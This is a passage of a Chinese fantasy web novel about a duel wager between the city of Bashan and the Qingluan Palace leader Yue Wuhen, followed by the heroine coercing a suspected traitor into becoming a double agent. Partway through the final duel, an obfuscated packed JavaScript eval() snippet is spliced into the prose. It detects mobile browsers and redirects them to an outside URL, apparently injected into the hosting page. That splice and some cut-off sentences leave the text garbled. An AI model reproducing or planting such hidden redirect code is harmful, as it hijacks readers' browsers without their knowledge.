波涟漪会意,指尖水痕一收,案几上的水痕瞬间凝成一幅微缩地图:“诸位请看。凝翠楼外三里,我布有‘迷踪幻阵’。她们五个笃行段修为,不可能感应不到阵法波动。明知是禁地仍要闯,其心可诛。若只是迷路,怎会恰好带了‘天视地听’的法器?” 她顿了顿,看向叶轻眉,语气恭敬却不失锋芒:“叶前辈,您是客,又是浅浅的师尊。这事关乎巴山根本,您怎么看?” 叶轻眉眼皮都未抬,只淡淡道:“巴山的事,何必问我一个外人?不过有一点——月无痕今日能派侍女窥探凝翠楼,明日便能派人火烧粮仓,后天便能毒杀卫兵。这叫‘吃相难看’,但也叫‘步步为营’。你们还在纠结礼节,人家已经在布局吃人了。” 一句话,堵死了所有“怀柔”的路。 白望春终于开口,声音平静无波,却带着不容置疑的威严:“既然月无痕说她们是‘误入’,那便按‘误入’办。罚俸半年,禁足十日,以示惩戒。至于那凝翠楼,再加三层阵法,若再有人闯,格杀勿论。” 这是打了个巴掌给甜枣。既不全盘撕破脸,也表明了态度。 羽鹤翔云天皱眉,还想再说什么,却被白望春抬手制止:“此事,就这样定了吧。备战要紧。” 凝碧轩·姐妹间的私房话晚膳后,凝碧轩内烛火通明。 唐婉坐在窗边,看着檐外如注的雨丝,手里无意识地摩挲着“霜华”短剑的剑柄。剑身冰凉,正如她此刻的心境。白浅推门进来,手里捧着一碟刚蒸好的桂花糕,甜香混合着雨水的潮气,在室内弥漫开来。 “唐姐姐还在想白天的事?”白浅将糕点放在案上,挨着她坐下。 “我在想陆青烟。”唐婉转过头,神色有些复杂,“她今日败给我,心里定然不服。三日后若对上青鸾宫的人,她会拼命吗?若是拼命,这一局我们是赢定了,可若是她因此有了心魔,对她日后修行不利。” 白浅剥开一块桂花糕,递给她,轻声道:“会。陆青烟骄傲,她输给我,不是输在剑上,是输在心上。她以为自己领悟了‘润物无声’,实则只得了形,未得其神。三日后,她会把这一剑,连同心里的不甘,一起讨回来。” “那你呢?”唐婉接过糕点,咬了一口,甜腻中带着一丝微苦,“月无痕拿出天兵做赌注,这手笔太大了。我总觉得,这背后还有别的文章。天外天的人,不缺兵器,为何偏偏要拿一件天兵来赌?这不合常理。” 白浅走到炭盆边,拿起火钳拨弄着火星,溅起的火星映亮了她沉静的侧脸:“文章就在‘古剑冢第九层’。月无痕要的不是那三日参悟权,那只是个幌子。她要的是让我们‘不得不’打开第九层。只要开了,里面的‘时轮剑境’秘密,就再也藏不住了。叶师曾说,时轮剑境是叶家最后的底蕴,也是最大的弱点。” “你是说,她想借我们的手,破掉叶家最后一道屏障?” “聪明。”白浅笑了笑,笑容里却没什么温度,“所以这一战,我们不能只想着赢,还得想着怎么赢得体面,赢得让她说不出半个‘不’字。更不能让她有任何借口,质疑我们的公平。” 唐婉沉默片刻,忽然道:“听说月无痕那四个天女,都是她从小养在身边的。尤其是那个灵珠,最受宠爱,性子也最骄纵。这种人,最要面子。” “唐姐姐想说什么?” “我想说,”唐婉眼中闪过一丝狡黠,那是属于地隐门少主传人的心机,“对付这种娇小姐,有时候不需要动刀动剑。你断她一次裙子,她能记恨你一辈子;你让她当众摔一跤,她能羞愤得想自杀。武力上碾压她,她只会觉得是你修为高。但若是在她最得意的地方,让她摔得很难看,那才是真的杀人诛心。” 白浅怔了怔,随即失笑:“唐姐姐这是要玩宅斗的手段?” “兵不厌诈。”唐婉冷哼,“她敢窥探我们的禁地,我们就敢断她的体面。浅浅,你信不信?那灵珠今日受了杨玉清的呵斥,必定怀恨在心。三日后,她肯定会第一个跳出来请战,想找回场子。这种人,输不起。” “那就成全她。”白浅眼中寒光一闪,“不仅要赢,还要赢得让她这辈子都不敢再提‘巴山’二字。” 翠屏山·点苍台的算计翠屏山,点苍台。罡风被隔绝在外,云海在脚下翻腾,如万顷波涛。 月无痕慵懒地倚在软榻上,手里把玩着那柄“破虚匕”。匕首在她纤长的指间翻转,每一次转动,都带起一道细微的空间涟漪,仿佛连光线都能割裂。灵珠跪在下首,眼中含泪,委屈巴巴,那副娇弱模样,若让外人看见,谁能想到这是天外天来的使者。 “少主,巴山的人太欺负人了!”灵珠声音带着哭腔,“那杨玉清一个小小的执法队长,也敢对我大呼小叫!还有那个唐婉,不过是个地隐门的丫头,也敢在我面前张狂!她们根本没把少主您放在眼里!” 月无痕眼皮都未抬,只淡淡道:“所以呢?你要本少主替你出气?还是让你那几个姐妹去替你找回场子?” “我”灵珠一噎,说不出话来。 “灵珠,”月无痕坐起身,匕首“破虚”猛地钉在案几上,发出“夺”的一声巨响,“你记住,你是青鸾宫的天女,是天外天的人。在这下界,除了本少主,没人配让你生气。你一生气,就落了下乘。你越生气,就越证明你不如她们。” 灵珠低下头,肩膀微微颤抖:“灵珠知错。”“三日后一战,你第一个上。”月无痕下令,声音不带丝毫感情,“我要你赢,而且要赢得漂亮。最好是……让那个唐婉,再也握不住剑。让她知道,天外天的手段,不是她能想象的。” “是!”灵珠眼中闪过狠厉。 “还有,”月无痕凑近她耳边,轻声道,声音如毒蛇吐信,“巴山那个白梦秋,最近是不是常在凝翠楼走动?” “是。她好像在帮那个医师莫流苏,研制一种新的疗伤丹药,叫什么‘冰肌玉骨丹’。” “想办法,让那丹药出点‘差错’。”月无痕唇角勾起一抹冰冷的弧度,“既然要玩,就玩得大一点。让她们自顾不暇,内乱丛生,我们才好行事。若是能毒死那个莫流苏,便再好不过了。” “属下明白!”灵珠眼中闪过恶毒的光芒。 听雨阁·五局定鼎三日后,雨过天晴。久违的阳光穿过云层,照在听雨阁前的演武场上,将昨夜的阴霾一扫而空。空气中还残留着湿润的泥土气息,却掩盖不住那股即将到来的硝烟味。 双方人马对立,泾渭分明。 巴山这边,白望春端坐高台,一身墨蓝锦袍,威严如山。身后是五位区主:宫鸣鹤之舞抱剑而立,杀气内敛;商风叶轻扬依旧把玩算盘,精打细算;角鹿乐林间眼神深邃,不知在想什么;徵水波涟漪闭目养神,周身水汽缭绕;羽鹤翔云天按剑而立,目光如电。 听雨四卫(赵琳、姚苏、严时芳)分立两侧,虽只有三人,却气场强大,尤其是赵琳,凌霄段巅峰的气势毫不掩饰。叶轻眉与陆徽、若曦、白梦秋坐在一侧观战,叶轻眉的银发在阳光下熠熠生辉,宛如神祇。 青鸾宫那边,月无痕依旧是一身流光锦袍,奢华不可方物。她身后站着四名天女,个个气息沉凝,远超寻常笃行段。灵珠站在最前,粉衣鲜艳,下巴抬得老高,看向巴山众人的眼神充满了不屑与挑衅。 “既已到齐,便开始吧。”白望春开口,声音不大,却传遍全场,压过了所有的嘈杂。 月无痕微笑颔首:“五局三胜,一局定胜负。不知白城主打算如何安排?这出场顺序,可是大有讲究。” 白望春看向身后的白浅,微微颔首。 白浅踏前一步,迎着所有人的目光,身姿挺拔如青竹。她目光扫过青鸾宫众人,最后落在灵珠身上,声音清越,传遍四野:“第一局,商风区唐婉,对阵青鸾宫灵珠。” 灵珠冷笑一声,一步跨出,脚下云气托着她飘然落在演武台中央:“终于敢出来了?我还以为你怕了呢!只会躲在男人背后的女人!” 唐婉面无表情,步履平稳地走上台去,只缓缓拔出了“霜华”短剑。剑身泛起半丈寒芒,却没有半分杀气,只有一种冰冷的平静。 “第二局,”白浅继续道,目光转向青鸾宫第二名天女,“羽鹤区阿诗玛,对阵你。” 一名青衣天女冷哼一声,飞身而上。 “第三局,宫鸣区云为衫,对阵第三位。” 云为衫铁剑在鞘中低吟,一步踏出,杀气如实质。 “第四局,徵水区陆青烟,对阵第四位。” 陆青烟抱剑而出,眼神坚定,一扫之前的阴霾。 “至于第五局”白浅顿了顿,看向月无痕,嘴角勾起一抹淡淡的弧度,“若前面四局未分胜负,我白浅,领教月少主高招。” 月无痕抚掌,笑声清脆却让人心寒:“好气魄!好自信!不过,白姑娘确定要亲自下场?万一输了,可就连你也搭进去了,包括你师尊叶轻眉的冰羽血脉。” “赌局既立,自当全力以赴。”白浅淡然道,眼神中没有丝毫动摇,“我巴山夜雨城,从未怕过任何赌局。” 第一局·断裙之辱演武台上,唐婉与灵珠相对而立。 灵珠一上来便占了上风,手中长剑如灵蛇出洞,招招直取要害。她修为确是笃行段大圆满,且招式华丽繁复,显然是得了天外天真传,每一剑都带着奇异的韵律,扰乱人心神。 唐婉却只守不攻,将“影刃七式”的守势发挥到极致。任你狂风暴雨,我自岿然不动。她身形如鬼魅,在剑光中游走,短剑总能精准地挡在攻击路线上,发出“铛铛”的脆响。 “你只会躲吗?地隐门的丫头,果然都是见不得光的老鼠!”灵珠久攻不下,有些急躁,言语也开始恶毒起来。 “我在等。”唐婉声音平静,没有丝毫情绪波动。 “等什么?”灵珠一剑横扫,剑气凌厉。 “等你裙子被风吹起来的时候。”唐婉忽然动了。 她身形一晃,竟借着灵珠挥剑带起的劲风,以一种不可思议的角度贴近其身侧。短剑一挑,不是刺向要害,而是精准地划向灵珠那精美的粉色罗裙裙摆! “嗤啦” 一声脆响,在安静的演武场上格外刺耳。 灵珠那精美的粉色罗裙,竟被唐婉一剑划破了一大块,露出里面白色的亵裤。甚至,裙摆下摆飘落,隐约可见大腿内侧。 全场哗然。死一般的寂静。 灵珠脸色瞬间涨红,从脖子根一直红到耳根,羞愤欲绝。她尖叫一声,疯了般扑向唐婉:“我要杀了你!我要把你碎尸万段!” 唐婉却已退回原地,短剑归鞘,神色淡然如初:“承让。若再打下去,你裙子里那封写给月少主的密信,怕是要掉出来了。” 灵珠浑身一僵,下意识地捂住裙摆,脸上血色尽褪。那封信,是她偷偷写给月无痕,抱怨巴山无礼,请求严惩的私信,若是当众读出,她这脸面就真的丢尽了。 高台之上,月无痕手中的茶盏,“咔嚓”一声,裂开了一条缝。温热的茶水顺着她的指尖滴落。这一局,巴山胜。 不是靠武力,而是靠“体面”。 月无痕看着台上那个淡然收剑的唐婉,眼中第一次露出了真正的杀意,那不再是俯瞰蝼蚁的冷漠,而是被冒犯的愤怒。第二局·毒计暗藏灵珠几乎是逃也似的跑回了月无痕身后,捂着裙子,眼泪直流,再也不敢抬头看任何人。月无痕脸色阴沉得能滴出水来,她冷冷地扫了一眼台上的唐婉,然后对身旁的第二名天女道:“青萝,你去。废了那个叫阿诗玛的右手。”“是!”青萝领命,飞身而上。 阿诗玛已在台上等候多时。她虽修为也是大圆满,但因角鹿区一战损耗本源,气息有些不稳。青萝一上来,便展开了狂风暴雨般的攻击,招式狠辣,专攻下三路和关节。 阿诗玛咬牙苦撑,细雨快剑虽快,却快不过对方的狠。几十回合下来,阿诗玛左臂已被划开数道口子,鲜血淋漓。 就在此时,阿诗玛忽然觉得一阵头晕目眩,体内真气开始紊乱。她心中大惊,自己明明没有中毒,为何会有中毒的迹象? “阿诗玛小心!”台下云为衫惊呼。 只见青萝嘴角勾起一抹阴笑,手中长剑一抖,几点幽蓝的粉末从剑柄喷出,融入雨后的湿气中,无色无味。 阿诗玛吸入一点,顿觉天旋地转,脚步一个踉跄。 “卑鄙!”陆徽在高台上猛地站起,就要出手。 “陆长老且慢!”白望春按住她,眼神冰冷,“这是‘雨化千丝’的变化,利用空气中的水分传毒,不算违规。” 陆徽气得浑身发抖,却无可奈何。 阿诗玛中毒,败局已定。 月无痕看着这一幕,阴沉的脸色稍微好转了一些。这就是她要的效果,一胜一负,扯平。 第三局·杀生剑种“第三局,云为衫。”白浅的声音再次响起,带着一丝冷意。 云为衫一步步走上台,铁剑在手中嗡鸣。她看着对面那个叫青萝的天女,眼神中没有丝毫怜悯,只有无尽的杀意。 “你的毒,对我无用。”云为衫淡淡开口,掌心一道幽蓝剑印浮现,“我的剑,只杀该杀之人。” 青萝冷笑:“大言不惭!” 两人战在一处。青萝吸取了灵珠的教训,不敢近身,只以长剑远程攻击,同时不断喷洒毒粉。但奇怪的是,那些毒粉一靠近云为衫三丈之内,便仿佛遇到了克星,自行消散。 那是“杀生剑种”在吞噬毒素。 云为衫越战越勇,铁剑之上,幽蓝光芒越来越盛。她本是笃行段后期,此刻却爆发出堪比大圆满的恐怖战力“死!”云为衫一剑劈出,剑气如匹练,直接将青萝的长剑斩断,余势不减,削掉了她半边头发。青萝惊恐尖叫,狼狈逃二比一,巴山领先。 第四局·心魔之“第四局,陆青烟。”白浅道。 陆青烟深吸一口气,走上台去。对面是青鸾宫第四名天女,修为同样是笃行段大圆满。 这一战,打得极为艰难。陆青烟心中有魔障,那一剑输给唐婉的阴影还在。她剑法虽精妙,却总差了那么一分决绝。 打到一半,陆青烟真气不济,渐露败象。 “陆青烟,你不行!”对方天女讥讽道,“雨韵剑宗的废物!” 这句话,刺痛了陆青烟的心魔。她心神一乱,剑势更乱。 就在此时,白浅的声音穿过重重雨幕,清晰地传入她耳中:“陆青烟,剑是杀敌的,不是杀自己的。忘了那一剑,你便是雨韵剑宗的未来。” 陆青烟浑身一震,眼中迷茫散去,取而代之的是前所未有的清明。 “多谢。”她轻声道,手中青雨剑猛地一抖,千百雨丝汇聚,化作一道璀璨的光剑,直刺对方咽喉。 对方天女猝不及防,被一剑挑飞长剑,败下阵来。 三比一!巴山胜券在握! 师尊的指点月无痕的脸色已经不能用难看来形容了。她死死盯着台上的陆青烟,又看向台下的白浅,眼中的杀意几乎凝成实质。 “好,好得很。”月无痕站起身,流光锦袍无风自动,“巴山夜雨城,果然藏龙卧虎。既然你们赢了前三局,那第四局也不用比了。本少主亲自下场,领教白姑娘的高招。” 她一步步走向演武台,每走一步,身上的气势便强一分。凌霄段巅峰的气息,毫不掩饰地释放开来,压得在场所有人都喘不过气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594682|205558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 白浅迎着她的目光,一步步走上台。 浅浅,”叶轻眉的声音在白浅心中响起,“她要动真格的了。天外天的功法,不同于此界。记住,用‘冰魄九变’的第一变‘凝霜’。” 白浅深吸一口气,霜羽剑出鞘,幽蓝剑光冲天而起,与月无痕的流光分庭抗礼。 “月少主,请指教。” “指教?”月无痕冷笑,“我是来取你性命的。” 话音未落,月无痕动了。她的速度快到极致,在原地留下一道残影,真人已出现在白浅身后,一指点在白浅后心。 这一指,蕴含空间道则,避无可避! 白浅却仿佛早有预料,霜羽剑向后一撩,剑尖精准地点在那根手指上。 “铛!” 金石交鸣之声炸响。 白浅被震飞数丈,嘴角溢出一丝鲜血。月无痕也退了一步,眼中闪过惊诧。 “你竟能挡住?”月无痕眯起眼,“看来叶轻眉真的把压箱底的功夫都传你了。可惜,你修为太低。” “修为不够,剑意来补。”白浅擦去嘴角血迹,眼神愈发坚定,“师尊说,这一剑,名为‘冰魄·破妄’。” 她站在原地,不再移动。霜羽剑缓缓抬起,剑尖直指月无痕。 没有花哨的招式,没有澎湃的真气。只有一往无前的剑意。叶轻眉的冰魄,陆徽的雨化千丝,白梦秋的影刃诡道,三种剑意在她体内完美融合。 月无痕脸上的轻蔑消失了,取而代之的是前所未有的凝重。她感受到了威胁,死亡的威胁。 “好一个‘破妄’。”月无痕冷笑,周身空间开始扭曲,“那就让我看看,是你的剑快,还是我的空间切割快!” 两女同时动了。 白浅一剑刺出,月无痕一指按下。 剑尖与指尖,在半空中相遇。 时间仿佛静止了。 紧接着,一道耀眼的光芒爆发开来,吞噬了整个演武台。 光芒散去,白浅单膝跪地,霜羽剑支撑着身体,大口喘息。月无痕站在原地,流光锦袍有些凌乱,她看着自己微微颤抖的右指,里有一道浅浅的剑痕,渗出血珠。 “我输了。”月无痕缓缓开口,声音有些干涩,却异常清晰,“但这一战,不算完。” 她转身,看向白望春:“白城主,赌注我认。天兵‘破虚匕’归你们。但三月后,我还会再来。届时,我要挑战的,是你们整个巴山夜雨城!” 说完,她带着四名天女,化作流光,消失在天际。 听雨阁前,一片死寂。 赢了,巴山赢了。但所有人都知道,真正的战争,才刚刚开始。 白浅抬头,望着月无痕消失的方向,握紧了手中的霜羽剑。 “师尊,”她轻声道,“徒儿明白了。这世上,从来没有侥幸的胜利。” 叶轻眉走到她身边,轻轻拍了拍她的肩膀:“明白就好。走吧,回凝碧轩。我们还要准备三月后的那场大战。” 月无痕败走,青鸾宫的天女们走得仓皇,连那件作为赌注的天兵“破虚匕”都来不及带走,便化作流光消失在云海尽头。 听雨阁前的演武场上,劫后余生的众人却并没有胜利的喜悦。那柄短匕静静地躺在青石板上,莹白的刃身流转着淡紫色的空间纹路,在阳光下散发着诱人的光芒,却无人敢上前一步。 “城主,”羽鹤区主翔云天第一个打破了沉默,她按剑上前,眉头紧锁,“月无痕临走前那句话,绝非虚言。三月之期,必是倾巢而来。我巴山虽有五位区主,但听雨四卫缺了寒青萝,实力大损。且那月无痕修为高深莫测,只怕已至半步天境。” 商风区主叶轻扬拨弄着算盘,珠子噼啪作响,精明的眼中透着忧虑:“这一战胜得侥幸。月无痕输在轻敌,也输在那唐婉姑娘的‘宅斗’手段上。她恼羞成怒,下次再来,必是雷霆万钧。我商风区库存的灵晶虽多,但能对抗天外天那种‘道则压制’的符箓,却是寥寥无几。” 角鹿区主乐林间沙哑开口:“粮草。大战一起,粮草先行。角鹿区的存粮虽能支撑半年,但若青鸾宫封锁云海,断我外援,巴山便是一座孤岛。” 众人你一言我一语,焦虑的气氛如瘟疫般蔓延。 白望春端坐高台,看着手下这些得力干将,心中亦是沉重。她看向身旁的叶轻眉,见她依旧神色淡漠,仿佛刚才那惊天动地的战,不过是午后的一场闲棋。 “叶前辈,”白望春轻声道,“你见多识广,依你看,月无痕三月后再来,我巴山有几成胜算?” 叶轻眉银发微动,目光扫过台下略显狼狈的五位女弟子,最后落在白浅身上。 “一成。”叶轻眉淡淡吐出两个字。 全场哗然。 “一成?!”宫鸣区主鹤之舞猛地站起,“我巴山立城千年,高手如云,竟只有一成?” “不错。”叶轻眉语气平静,却字字诛心,“你们看到的,是月无痕败了。但我看到的,是她直到最后,都没有动用真正的底牌。她那‘天外天’的功法,引动的是天地法则,而非单纯的灵力。你们的一招一式,在她眼里,破绽百出。若非浅浅借了你们三人的剑意,融合了‘冰魄九变’的精髓,今日败的,便是我们。” 她顿了顿,继续道:“而且,你们别忘了,月无痕是来‘取’人的。她的目标始终是浅浅。三月后,她若发现强攻不下,必会用上更卑劣的手段——比如,从你们内部瓦解。” 这话一出,全场死寂。 徵水区主波涟漪指尖的水痕猛地一滞,她忽然想起一事,脸色骤变:“城主!凝翠楼!月无痕临走前,那灵珠曾在凝翠楼外徘徊,我虽加强了阵法,但若她们真要窃取机密,未必不能得手!” 白望春霍然起身,眼中闪过厉色:“去查!立刻去查凝翠楼!” 众人匆忙赶往凝翠楼,一番搜查之下,果然发现了端倪。楼内的禁制虽未被破,但在存放“冰肌玉骨丹”丹方的柜匣边缘,发现了一枚极其隐蔽的“窃听符”。那符箓已燃尽,说明情报早已传了出去。“好一个青鸾宫!”羽鹤翔云天气得浑身发抖,“竟用这种下作手段!” 白浅走上前,捡起那枚残符,指尖一搓,符灰随风而散。“这不奇怪。月无痕自负,她的侍女却未必。灵珠想要立功,自然会耍些小聪明。只是她没想到,我们早有防备。”她看向白梦秋:“梦秋姨,那丹方可有泄露?” 白梦秋捻动佛珠,神色平静:“无妨。那本就是一份假方子。真方子在我心中。”原来,白梦秋早已料到会有此一劫,提前留了后手。白望春长舒一口气,看向白梦秋的目光充满了感激,随即又转为深深的疲惫。她挥退众人,只留下叶轻眉和白浅。“叶前辈,”白望春揉着眉心,“一成胜算,太少了。你可有办法,让我巴山多几分生机?” 叶轻眉看向白浅:“胜算在人。浅浅的‘冰魄九变’才悟通第一变,若能在一个月内悟通第三变‘冰封千里’,胜算可增至三成。”白浅低头:“弟子尽力。”“光靠你不够。”叶轻眉看向白望春,“城主,你需得下定决心了。巴山内部,并非铁板一块。”白望春自然明白她的意思。听雨四卫缺了寒青萝,如今只剩赵琳、姚苏、严时芳三人。赵琳忠心耿耿,姚苏沉稳可靠,严时芳却……她与寒青萝私交甚密,寒青萝叛逃后,严时芳虽未有明显异动,但谁也不敢保证她心里怎么想的?“你的意思是?”“清理门户。”叶轻眉声音冰冷,“大战在即,内部不容有隙。那个严时芳,留不得了。”白望春沉默良久。严时芳是她一手带出来的义女,要清理她,谈何容易。但若不清理,万一战时她临阵倒戈,后果不堪设想。“这件事,交给我。”白浅忽然开口,“师尊,让我去处理严时芳吧。她是听雨四卫,我去最合适。而且,我需要她的‘位置’。”“你要做什么?”“我要把‘钉子’变成‘钩子’。”白浅眼中闪过一丝冷光,“月无痕以为她的侍女偷听了我们的机密,那我们就给她一份更大的‘机密’。一份能让她万劫不复的机密。”是夜,听雨卫驻地。严时芳正在房中擦拭长剑,房门被人推开,白浅走了进来。“四姐。”白浅唤了一声,神情如常。严时芳手一顿,随即露出笑容:“原来是浅浅。这么晚了,有事?”“来看看四姐。”白浅在她对面坐下,给自己倒了杯茶,“听说四姐最近心情不好,总是想起大姐寒青萝?”严时芳脸色一僵,随即冷下脸来:“寒青萝叛逃,是她咎由自取。我与她早已恩断义绝,没什么好想的。”“是吗?”白浅笑了笑,放下茶杯,“可我怎么听说,四姐前几日夜里,偷偷去了城外的断崖,对着月亮流泪呢?还说‘大姐糊涂,城主无情’?”严时芳猛地站起,眼中杀机毕露:“你监视我?!”“我不是监视四姐,我是担心四姐。”白浅依旧坐着,仰头看着她,“担心四姐步了大姐的后尘。你想啊,大姐走了,四姐在听雨四卫里,是不是就成了最孤单的那一个?城主心里,是不是也会觉得四姐不可靠?”严时芳握剑的手青筋暴起,身体微微颤抖。白浅的话,精准地戳中了她内心最脆弱的地方。“你想怎么样?”严时芳咬牙道。“我不想怎么样。”白浅站起身,走到她面前,声音轻柔却如毒蛇,“我只是来告诉四姐,大姐在翠屏山过得很好。月无痕少主很赏识她,还给了她一枚‘破虚丹’,说只要她能在三月后的大战里,帮着开城门,就许她做青鸾宫的副宫主。”严时芳瞳孔骤缩:“你胡说!大姐才不会背叛!”“是不是胡说,四姐去看看不就知道了吗?”白浅凑近她耳边,轻声道,“今晚子时,断崖,大姐会派心腹来取回一样东西。那是大姐留给四姐的信物。四姐若不信我,便去看看吧。”说完,白浅转身离去,留下严时芳一个人在房中,脸色阴晴不定。子时,断崖。冷风呼啸。严时芳果然来了。她躲在岩石后,看见一个黑影从山下飘然而上,正是青鸾宫的那个灵珠。“东西带来了吗?”灵珠冷冷道。严时芳心跳加速,握紧了剑柄。那黑影却忽然笑了:“严时芳,你还要躲到什么时候?出来吧。”严时芳一惊,刚要拔剑,却发现脚下地面忽然塌陷,一张大网从天而降,将她死死困住!“中计了!”严时芳大惊失色。“不错,是中计了。”白浅从黑暗中缓步走出,手里拿着那枚从凝翠楼发现的窃听符,“严时芳,你果然还是放不下寒青萝。这枚符,是灵珠给你的吧?你用它窃听城主机密,还想在战时里应外合,对不对?”严时芳面如死灰:“是你!是你设计我!”“是你要背叛在先。”白浅居高临下地看着她,“念在你我姐妹一场,我给你两个选择。一,自裁谢罪,保留全尸。二,将计就计,做我巴山的双面间谍,把月无痕引到万劫不复之地。”严时芳看着白浅那双清冷的眼睛,忽然觉得眼前这个自己看着长大的妹妹,变得无比陌生,也无比可怕。这哪里还是那个需要人保护的小丫头?这分明是比月无痕更可怕的猎手。“我选第二条路。”严时芳颤抖着说道。白浅笑了,笑意未达眼底:“很好。那从今日起,你就是我巴山安插在青鸾宫最深的一颗钉子。记住,你的命,是我给的。你的忠诚,也只能给我。”这一夜,巴山夜雨城下了一场大雨。雨水冲刷着地上的血迹,也冲刷着一个时代的落幕。 58. 人生得失不由己 雨停了。断崖边的风却更冷了,刮在脸上像刀子。严时芳跪在泥泞里,身上那张特制的“缚灵网”勒得她骨头生疼。她抬头看着白浅,这个她曾抱着哄睡觉的小丫头,此刻手里正把玩着一枚黑色的令牌,那是听雨四卫调兵的令符,原本挂在她严时芳的腰间。 “你要想清楚,时芳姐。”白浅蹲下身,声音轻得像是在哄一个孩子,“做双面间谍,风险很大。一旦被月无痕识破,你会死得很惨。但如果你死了,你家里的老母亲,还有你在商风区刚满周岁的侄子,谁来照顾?” 严时芳浑身一颤。这是威胁,赤裸裸的威胁。白浅不仅捏住了她的命门,还捏住了她的软肋。 “你……你怎么知道我侄子在商风区?”严时芳声音嘶哑。 “商风区主叶轻扬,是我的姨妈。”白浅笑了笑,“叶姨掌管全城户籍,想查一个人,易如反掌。时芳姐,你跟在大姐身边那么久,难道没学会一点吗?做任何事,都要给自己留后路。现在,我就是你的后路。” 她将黑色的令牌扔在严时芳面前:“拿着它。从今往后,你还是听雨四卫的严时芳,但你的命,归我。” 严时芳死死盯着地上的令牌,雨水打湿了她的睫毛,让她看不清前路。良久,她伸出颤抖的手,捡起了令牌。 “很好。”白浅站起身,拍了拍手上的泥,“起来吧。别在这里跪着了,难看。” 严时芳挣扎着站起来,低着头,不敢再看白浅的眼睛。 “记住你的任务。”白浅背对着她,望向漆黑的云海,“月无痕想要古剑冢第九层,想要我。你就告诉她,古剑冢第九层里,藏着叶家先祖留下的‘时空灵髓’,那是开启归墟之门的终极钥匙。只要她能帮我拿到灵髓,我就愿意跟她走。” “这……这是真的吗?”严时芳愣住了。 “真真假假,重要吗?”白浅回过头,嘴角勾起一抹弧度,“月无痕信了,就是真的。她若不信,你就想办法让她信。三个月,我只要三个月的时间。” 这三个月,你要做什么?” “我要让巴山,再也没有内鬼。”白浅的声音冷了下来,“我要让那些还在摇摆不定的人,彻底死心。” 回到凝碧轩时,天已蒙蒙亮。 唐婉正在院中练剑,看到白浅回来,收了剑势,递过一条毛巾:“办妥了?” “妥了。”白浅接过毛巾,擦了擦脸上的雨水,“严时芳答应做双面间谍。不过,我总觉得心里不踏实。” “是因为严时芳太容易屈服了吗?”唐婉递过一杯热茶,“这种人,最反复无常。今日为了家人屈服,明日若月无痕许她更大的好处,她照样会反咬一口。” 白浅捧着茶杯,感受着指尖的温度:“所以我没打算完全信任她。我给了她一份假的情报,关于‘时空灵髓’的。叶师说过,月无痕这种上位者,最听不得的就是‘捷径’。只要她信了有捷径,就会急于求成,露出破绽。” “那巴山内部呢?”唐婉在石凳上坐下,眉头微蹙,“严时芳只是其中之一。我总觉得,还有其他人在蠢蠢欲动。比如那个角鹿区主乐林间,今日在听雨阁,她话里话外都在长他人志气。” 白浅眼神一凝:“乐林间掌管粮仓和地脉。若她出问题,巴山不战自乱。” “要不要我去查查?”唐婉问。 “不用。”白浅摇头,“打草惊蛇。乐林间性格沉闷,若没抓到现行,她不会承认。我们要做的,是把饵放出去,让她自己咬。” “什么饵?” “古剑冢第九层的钥匙。”白浅压低声音,“叶师说,第九层除了时空道则,还有一样东西,叫‘冰魄龙涎’。那是能大幅提升修为的至宝。乐林间掌管后勤,最缺的就是提升修为的资源。只要放出消息,说那钥匙就在我身上,她一定会忍不住。” 唐婉倒吸一口凉气:“这太危险了!万一她真对你下手怎么办?” “她不敢。”白浅笑了笑,“我有师尊护着,有赵琳姨守着。她若敢动手,便是自取灭亡。我就是要让她在‘动手’和‘不动手’之间煎熬,等到月无痕打来的那一天,她要么死心塌地跟我们走,要么,就死。”翠屏山,点苍台。 严时芳跪在地上,将白浅交代的“假情报”一字不漏地复述了一遍。月无痕听完后,手指轻轻敲击着扶手,眼神深邃。“时空灵髓?”月无痕喃喃自语,“能开启归墟之门的终极钥匙白浅那丫头,倒是舍得下血本。” “少主,”严时芳低头道,“白浅还说,只要您能帮她拿到灵髓,她就愿意离开巴山,跟您走。但她要求,三月内不得再攻城,给她时间准备。”“给她准备?”月无痕冷笑,“她准备什么?备逃跑吗?” “属下不知。”严时芳身体一颤,“但属下觉得,白浅这次是真的怕了。她昨日与少主一战,受伤不轻,修为差距太大,她知道自己赢不了。” 月无痕沉默了片刻,忽然笑了:“她怕了,那就好。天外天的人,最不怕的就是下界的人有野心。有野心,就有弱点。” 她站起身,走到严时芳面前,伸手抬起她的下巴:“严时芳,你记住。本少主留着你这条命,不是让你来传话的。你若敢骗我,我便屠你满城,让你知道什么叫生不如死。” “属下不敢!”严时芳吓得连连磕头。 “去吧。”月无痕松开手,“按计划行事。告诉白浅,本少主准她三个月。三个月后,若拿不出时空灵髓,本少主便要血洗巴山,把她师尊叶轻眉,做成一尊冰雕!” 严时芳连滚爬爬地退下了。 月无痕看着她的背影,眼中闪过一丝嘲讽。她转头看向身后的灵珠:“灵珠,你觉得这严时芳,可信吗?” 灵珠咬牙切齿:“少主,这贱婢反复无常,不如杀了!上次她输给唐婉,丢了咱们青鸾宫的脸,这次又来传这种没头没尾的消息,定是巴山设下的圈套!” “圈套?”月无痕轻笑,“就算是圈套,本少主也要钻。时空灵髓,乃是我师尊苦苦寻找百年的宝物。若真在古剑冢第九层,别说是个圈套,便是龙潭虎穴,本少主也要闯一闯。” 她顿了顿,眼中闪过狠厉:“传令下去,这三个月,按兵不动。让严时芳在巴山内部,给本少主搅个天翻地覆!我要让白浅知道,跟天外天斗,只有死路一条!” 半个月后,角鹿区粮仓起火。 